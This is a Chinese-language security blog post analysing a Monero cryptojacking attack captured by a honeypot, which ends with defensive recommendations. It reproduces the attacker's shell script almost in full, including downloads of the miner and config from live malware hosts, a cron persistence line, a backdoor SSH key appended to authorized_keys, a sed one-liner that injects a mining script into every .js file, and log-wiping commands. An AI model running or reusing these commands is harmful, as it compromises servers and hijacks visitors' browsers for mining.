XMR惡意挖礦案例簡析
*本文作者:colinhe,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
數字貨幣因其技術去中性化和經濟價值等屬性,逐漸成為大眾關注的焦點,同時通過惡意挖礦獲取數字貨幣是黑灰色產業獲取收益的重要途徑。本文簡析通過蜜罐獲取的XMR惡意挖礦事件:攻擊者通過爆破SSH獲取系統許可權,配置root使用者免密登入,並下載及執行XMR 挖礦程式,及XMR 網頁挖礦程式。XMR挖礦程式耗肉雞CPU/GPU資源,網頁挖礦程式耗訪問肉雞伺服器JS 網頁的客戶端資源 。
一、攻擊者獲取肉雞
1)SSH暴力破解
2018年10月11日,攻擊者使用惡意IP(223.89.72.8)暴力破解Victim的SSH服務成功,獲取系統賬號許可權。
2)關閉Victim的防火牆
通過暴力破解獲得的賬號登入Victim並,進入工作目錄/tmp,並嘗試關閉主機防火牆。
root@victim:~#cd /tmp root@victim:~#/etc/init.d/iptables stop root@victim:~#service iptables stop root@victim:~#SuSefirewall2 stop root@victim:~#reSuSefirewall2 stop
3)下載惡意指令碼
命令Victim從Malware Server(140.143.35.89:43768)下載惡意檔案shz.sh:
root@victim:/tmp#wget http://140.143.35.89:43768/shz.sh [4l--2018-10-11 19:07:34--http://140.143.35.89:43768/shz.sh Connecting to 140.143.35.89:43768... connected. HTTP request sent, awaiting response... 200 OK Length: 7470 (7K) [application/octet-stream] Saving to: `/tmp/shz.sh' 58% [======================>] 4,38041K/seta 0s 100%[======================================>] 7,47041K/s 2018-10-* *:*:* (41 KB/s) - `/tmp/shz.sh' saved [7470/7470]
二、執行惡意指令碼
獲取Victim肉雞許可權及下載惡意指令碼後,命令Victim執行/tmp/shz.sh,下面簡析shz.sh的惡意行為。
1)開始執行
root@victim:/tmp#shshz.sh&
2)基本配置
獲取Victim的定時Crontab定時任務檔案及內容,SSH登入的公鑰,更改下載檔案命令及變數定義等基本配置。
#!/bin/sh #Crontab定時任務(crontab -e) crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` #SSH登入公鑰 ssht=`cat /root/.ssh/authorized_keys` #自定義變數 echo 1 > /etc/gmbpr rtdir="/etc/gmbpr" bbdir="/usr/bin/curl" bbdira="/usr/bin/url" ccdir="/usr/bin/wget" ccdira="/usr/bin/get" #更改命令名稱 mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/url
3)判斷賬號許可權(特殊許可權)
如果檔案/etc/gmbpr存在,即被暴力破解的賬號有/etc寫許可權,一般root。設定工作目錄為/etc:
if [ -f "$rtdir" ]
3.1 定時任務+無密登入
#將惡意指令碼/etc/shz.sh加入系統crontab定時任務中 [[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /etc/shz.sh >/dev/null 2>&1" >> ${crondir} #將攻擊者的SSH登入公鑰加入authorized_key中,用於無密登入ssh [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfi PAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqH LMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8Ybq gunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
3.2 惡意挖礦的配置檔案
如果配置檔案/etc/com.json不存在,則從 ofollow,noindex" target="_blank">http://140.143.35.89:43768/com.json 下載至/etc/com.json。
cfg="/etc/com.json" if [ -f "$cfg" ] then echo "exists config" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/com.json > /et c/com.json elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/com.json > /etc /com.json elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/com.json elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/com.json fi fi
3.3 ELF挖礦主程式
從 http://zjgw-1256891197.cos.ap-beijing.myq cloud.com下載惡意挖礦主程式zjgw至/etc。zjgw為elf格式的二進位制檔案。
if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw > /etc/zjgw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw > /etc/zjgw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://dwz.cn/hqCK3WKx elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://dwz.cn/hqCK3WKx fi
3.4 執行惡意挖礦程式
挖礦程式zjgw+配置檔案com.json:
chmod 777 zjgw #com.json配置檔案中將unknow替換成字元${ip} sed -i "s/unknow/${ip}/g" com.json sleep 5s #執行挖礦程式 ./zjgw --config=com.json #清除命令日誌痕跡 history -c echo > /root/.bash_history
3.5 下載並執行shz.sh指令碼檔案
shdir='/etc/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh fi sh /etc/shz.sh fi
4)判斷賬號許可權(普通許可權)
如果檔案/etc/gmbpr不存在,即被暴力破解的賬號是常規使用者許可權,新增啟動指令碼至Crontab定時任務中。設定工作目錄為/tmp:
[[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir}
4.1)下載配置檔案com.json至/tmp 4.2)下載挖礦主程式zjgw至/tmp 4.3)執行惡意挖礦程式+配置檔案(同3.4) 4.4)下載並執行惡意指令碼/tmp/shz.sh(同3.5)
5)Monero Javascript網頁挖礦
在Victim全盤查詢js檔案,並插入網頁挖礦JS指令碼document.write(‘<script src=” http://t.cn/EvlonFh “></script><script>OMINEId(“e02cf4ce91284dab9bc3fc4cc2a65e28″,”-1″)</script>’);
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\ >OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
6)清除痕跡
攻擊者清除攻擊日誌痕跡
echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history
三、執行ELF挖礦程式
1)挖礦配置檔案com.json
通過配置檔案檢視到XMR數字貨幣的挖礦演算法、挖礦地址和錢包地址等:
{
{
#XMR門羅幣的主要共識機制(挖礦演算法):cryptonight
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"av": 0,
"background": true,
"colors": true,
"cpu-priority": 5,
"donate-level": 1,
"log-file": null,
"max-cpu-usage": 90,
"pools": [
{
#挖礦地址
"url": "stratum+tcp://xmr.f2pool.com:13531",
#錢包地址
"user":
"46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX.unknow",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
}
],
"print-time": 60,
"retries": 99999,
"retry-pause": 5,
"safe": false,
"syslog": false,
}
2)挖礦主程式zjgw
zjgw為64為的elf二進位制檔案,VirusTal檢出功能包含了挖礦功能。
3)礦池及收益
截止當前,攻擊者惡意ELF程式使用f2pool礦池,上述錢包地址相關收益資訊:
(1)164礦工正線上進行挖礦;
(2)共捕獲254礦工;
(3)此錢包地址總收益4.7XMR,按當前市場價格736RMB價格計算,約收穫3459RMB
(4)這些礦工,可能很多是攻擊者捕獲的肉雞;攻擊者也可能還有更多其他的錢包地址及肉雞礦工即進行獲益。
四、Monero Javascript網頁挖礦
在Victim全盤查詢js檔案,並插入網頁挖礦JS指令碼document.write(‘<script src=” http://t.cn/EvlonFh “></script><script>OMINEId(“e02cf4ce91284dab9bc3fc4cc2a65e28″,”-1″)</script>’);
1)curl -I http://t.cn/EvlonFh ;
短網址指向 https://xmr.omine.org/assets/v7.js
HTTP/1.1 302 Found Date: Mon, 15 Oct 2018 08:02:12 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 216 Connection: keep-alive Set-Cookie: aliyungf_tc=AQAAAN65sGSyOQcAihDut35iYAxQi2Sj; Path=/; HttpOnly Server: nginx Location: https://xmr.omine.org/assets/v7.js
2)curl https://xmr.omine.org/assets/v7.js
javascript指令碼檔案,包含了礦池地址wss://xmr.ominie.org:8181:
3)omine礦池
4)隱藏後的錢包地址ID
OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")
5)收益
假設攻擊者的JS網頁挖礦與ELF程式挖礦使用的同一個錢包地址:46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX ,此處收益相對較少,有0.037個XMR。
五、小結
攻擊者通過SSH暴力破解獲取系統賬號後,一方面通過下載及執行ELF二進位制挖礦程式,利用系統CPU/GPU資源進行XMR(門羅幣)挖礦;另一方面,通過在系統裡面的JS檔案中插入JS網頁挖礦的程式碼,利用遠端訪問系統JS網頁的客戶端資源進行XMR網頁挖礦。建議措施:
(1)賬號加固;
(2)系統資源、網路、程序監控;
(3)檢查系統是否有惡意資源濫用情況(ELF挖礦程式);
(4)檢查系統是否有惡意JS網頁挖礦指令碼(網頁挖礦指令碼);
(5)其他
*本文作者:colinhe,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。